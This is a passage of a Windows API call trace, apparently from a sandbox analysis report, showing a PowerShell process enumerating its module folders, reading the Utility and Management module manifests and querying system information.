0x41 [0116.568] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0116.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.568] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.568] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0116.568] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0116.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.568] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.569] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0116.569] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0116.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.569] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ef4c) returned 1 [0116.569] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0116.569] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0116.570] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x572ecfc | out: lpFindFileData=0x572ecfc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3788c0 [0116.570] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.570] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0116.570] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0116.570] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0116.570] FindClose (in: hFindFile=0x3788c0 | out: hFindFile=0x3788c0) returned 1 [0116.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecbc) returned 1 [0116.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ef1c) returned 1 [0116.570] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0116.570] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0116.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0116.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0116.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0116.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ecc4) returned 1 [0116.571] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2734730 | out: lpFileInformation=0x2734730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0116.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecc0) returned 1 [0116.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0116.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0116.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ee2c) returned 1 [0116.571] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c0 [0116.571] GetFileType (hFile=0x3c0) returned 0x1 [0116.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ee28) returned 1 [0116.571] GetFileType (hFile=0x3c0) returned 0x1 [0116.572] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ee68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ee68*=0) returned 0x0 [0116.572] ReadFile (in: hFile=0x3c0, lpBuffer=0x2735560, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ee94, lpOverlapped=0x0 | out: lpBuffer=0x2735560*, lpNumberOfBytesRead=0x572ee94*=0x982, lpOverlapped=0x0) returned 1 [0116.574] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ee68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ee68*=0) returned 0x982 [0116.574] ReadFile (in: hFile=0x3c0, lpBuffer=0x2734a76, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x572ee94, lpOverlapped=0x0 | out: lpBuffer=0x2734a76*, lpNumberOfBytesRead=0x572ee94*=0x0, lpOverlapped=0x0) returned 1 [0116.574] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ee68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ee68*=0) returned 0x982 [0116.574] ReadFile (in: hFile=0x3c0, lpBuffer=0x2735560, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ee94, lpOverlapped=0x0 | out: lpBuffer=0x2735560*, lpNumberOfBytesRead=0x572ee94*=0x0, lpOverlapped=0x0) returned 1 [0116.574] CloseHandle (hObject=0x3c0) returned 1 [0116.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ef4c) returned 1 [0116.576] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0116.576] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0116.576] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*", lpFindFileData=0x572ecfc | out: lpFindFileData=0x572ecfc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3788c0 [0116.576] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.576] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0116.576] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0116.576] FindClose (in: hFindFile=0x3788c0 | out: hFindFile=0x3788c0) returned 1 [0116.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecbc) returned 1 [0116.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ef1c) returned 1 [0116.576] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0116.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ecc4) returned 1 [0116.577] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2745e9c | out: lpFileInformation=0x2745e9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0116.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecc0) returned 1 [0116.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ee2c) returned 1 [0116.577] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c0 [0116.577] GetFileType (hFile=0x3c0) returned 0x1 [0116.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ee28) returned 1 [0116.578] GetFileType (hFile=0x3c0) returned 0x1 [0116.578] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ee68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ee68*=0) returned 0x0 [0116.578] ReadFile (in: hFile=0x3c0, lpBuffer=0x2746cdc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ee94, lpOverlapped=0x0 | out: lpBuffer=0x2746cdc*, lpNumberOfBytesRead=0x572ee94*=0x9e9, lpOverlapped=0x0) returned 1 [0116.579] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ee68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ee68*=0) returned 0x9e9 [0116.579] ReadFile (in: hFile=0x3c0, lpBuffer=0x2746259, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x572ee94, lpOverlapped=0x0 | out: lpBuffer=0x2746259*, lpNumberOfBytesRead=0x572ee94*=0x0, lpOverlapped=0x0) returned 1 [0116.580] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ee68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ee68*=0) returned 0x9e9 [0116.580] ReadFile (in: hFile=0x3c0, lpBuffer=0x2746cdc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ee94, lpOverlapped=0x0 | out: lpBuffer=0x2746cdc*, lpNumberOfBytesRead=0x572ee94*=0x0, lpOverlapped=0x0) returned 1 [0116.580] CloseHandle (hObject=0x3c0) returned 1 [0116.582] CoCreateGuid (in: pguid=0x572ef94 | out: pguid=0x572ef94*(Data1=0xf747203, Data2=0x254b, Data3=0x4606, Data4=([0]=0x87, [1]=0xa3, [2]=0xf3, [3]=0x2e, [4]=0x3f, [5]=0x30, [6]=0xca, [7]=0x5c))) returned 0x0 [0116.582] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c0 [0116.582] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3f8 [0116.583] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x404 [0116.583] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x408 [0116.583] SetEvent (hEvent=0x408) returned 1 [0116.583] SetEvent (hEvent=0x3c0) returned 1 [0116.583] SetEvent (hEvent=0x3f8) returned 1 [0116.583] SetEvent (hEvent=0x404) returned 1 [0116.583] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x40c [0116.584] SetThreadUILanguage (LangId=0x0) returned 0x409 [0116.668] EtwEventActivityIdControl () returned 0x0 [0116.668] EtwEventActivityIdControl () returned 0x0 [0116.668] EtwEventActivityIdControl () returned 0x0 [0116.805] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0116.806] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.806] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e7c0) returned 1 [0116.806] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572ea84 | out: lpFileInformation=0x572ea84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0116.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e7bc) returned 1 [0116.806] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0116.806] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.806] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.806] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x572e6c8, Length=0x20, ResultLength=0x572e738 | out: SystemInformation=0x572e6c8, ResultLength=0x572e738*=0x0) returned 0xc0000003 [0116.807] GetSystemInfo (in: lpSystemInfo=0x572e744 | out: lpSystemInfo=0x572e744*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0116.807] RegOpenKeyExW (in: hKey=0x80000002, 